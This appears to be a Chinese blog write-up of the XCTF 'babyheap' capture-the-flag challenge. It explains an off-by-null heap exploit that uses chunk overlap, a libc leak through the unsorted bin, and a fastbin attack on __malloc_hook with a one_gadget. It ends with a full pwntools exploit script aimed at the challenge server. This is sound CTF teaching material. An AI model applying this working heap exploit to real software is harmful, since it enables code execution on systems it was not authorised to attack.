攻防世界 进阶 babyheap

用到的漏洞是off by null

在这里插入图片描述保护绿油油。

在这里插入图片描述菜单,它这说的是2.27heap,但其实给的libc又是2.23的……

create
在这里插入图片描述最多6个chunk,然后 指针存在heap_list哪个数组里面。

read_input
在这里插入图片描述
这个里面可以看到,有个明显的off by null。

delete
在这里插入图片描述删的干干净净。

show
在这里插入图片描述平平无奇打印函数。

off by null的利用方式很多,但是总的来讲就是说先泄露libc的地址,然后再制造fastbin_attack。只是中间方法会有很多种,这取决于chunk的申请、释放、大小、多少,还取决于题目里面的一些条件。

这道题先说清楚题目给的各种条件。
首先是没有edit函数,只有在第一次申请的时候才能往里面写一些东西。一般遇到这种情况会稍微麻烦一点。

首先我们建立了五个chunk。
我们会在后面慢慢说为什么要建立这五个chunk,有没有一些其他思路,以及其他思路是否可行。

在这里插入图片描述

先说泄露libc的地址。
我们要做的是先通过D将E的pre_size修改成A B C D的大小总和,以及它的p位进行修改,然后释E,会将前面A B C D 合并,并且挂入unsorted bin链中。然后再考虑地址的释放。

但是在这一步的时候会有检查,首先检车A是否是空闲的,所以我们需要提前将A释放掉,还会检查E后面是否是used的,检查方法是检查E的下一个chunk F的下一个chunk G的p位,所以正常来讲,我们需要再E的下面申请一个F,来满足上面说的检查,但是我们程序只允许申请7个chunk,大家先记着,会在后面利用中申请chunk,所以这个申请chunk的名额不能随便给它,只能在E里面伪造F,那么怎么个伪造的方法,我们注意到off by one利用的时候会把pre_size最后一个字节变成’\x00’,所以我们申请到的春困如果是0x110的时候,利用漏洞结束的时候会变成0x100,那么我们就可以把E的最后0x10的空间伪造成一个单独的chunk。

然后继续说地址的泄露,我们之前释放了A,然后当我们申请A的时候unsorted的地址会被放到B里面,然后show会将地址输出。

然后开始第二大步,想办法对malloc_hook进行攻击。
我们需要先有fastbin范围的chunk挂在bin里面,所以会在freeD之前提前把C先free掉,让它挂到fastbin里面,然后我们现在通过申请一个比B大一些的chunk,让它能够在C里面写东西,我们就把C的fd的位置写上malloc的地址,然后两次申请发fastbin的chunk,来获得malloc_hook的chunk。

你会发现后来的时候又申请了一次0x118,两次0x68,其中一次0x68的地址会放到C的位置,那么剩下的两个加上前面的五个,一共七个,所以之前我们要在E里面去伪造chunk。

那么我们说能不能A B C D E少用一些chunk,比如不要Bchunk,直接复用A来往C中写东西,明显是不能的,因为再释放A之后并不会跟那个我们制造的overlap的chunk连在一起。

其他的一些也是因为一些其他原因,比如可能C Dchunk的size位大小发生变化等等,不能够利用成功。

#coding:utf8  
from pwn import *  
      
context.log_level = 'debug'  
p = remote('111.200.241.244',33587)  
libc_path = './64/libc-2.23.so'  
libc = ELF(libc_path)  

 
gadget = 0x4526a

elf = ELF('./babyheap')

malloc_hook_sym = libc.sym['__malloc_hook']
realloc_sym = libc.sym['realloc']
gadget = 0x4526a

def create(size, content):
    p.sendlineafter('Your choice :\n', '1')
    p.sendlineafter('Size:', str(size))
    p.sendafter('Data:', content)

def delete(index):
    p.sendlineafter('Your choice :\n', '2')
    p.sendlineafter('Index:', str(index))

def show():
    p.sendlineafter('Your choice :\n', '3')


create(0x100, 'a' * 0x100)
create(0x100, 'b' * 0x100)
create(0x68, 'c' * 0x68)
create(0x68, 'd' * 0x68)
create(0x100, 'e' * (0x100 - 16) + p64(0x100) + p64(0x11))

delete(2)
delete(3)
delete(0)

payload = 'e' * 0x60
payload += p64(0x300)
create(0x68, payload)

delete(4)
create(0x100, 'a' * 0x100)
show()
p.recvuntil('1 : ')
main_area_88 = u64(p.recvuntil(' ').ljust(8,'\x00'))
print hex(main_area_88)
malloc_hook = (main_area_88 & 0xFFFFFFFFFFFFF000) + (malloc_hook_sym & 0xFFF)
offset = malloc_hook - malloc_hook_sym
realloc_hook = offset + realloc_sym
gadget_addr = offset + gadget
system = offset + libc.sym['system']

payload = 'f' * 0x100
payload += p64(0) + p64(0x71)
payload += p64(malloc_hook - 0x23)
create(0x118, payload)

create(0x68, 'g' * 0x68)
payload = '\x00' * 0xB + p64(gadget_addr) + '\x00' * (0x13 - 0xB - 0x8)
payload += p64(realloc_hook + 2)
payload += '\n'
create(0x68, payload)

p.sendlineafter('Your choice :\n', '1')
p.sendlineafter('Size:', '$0')

p.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值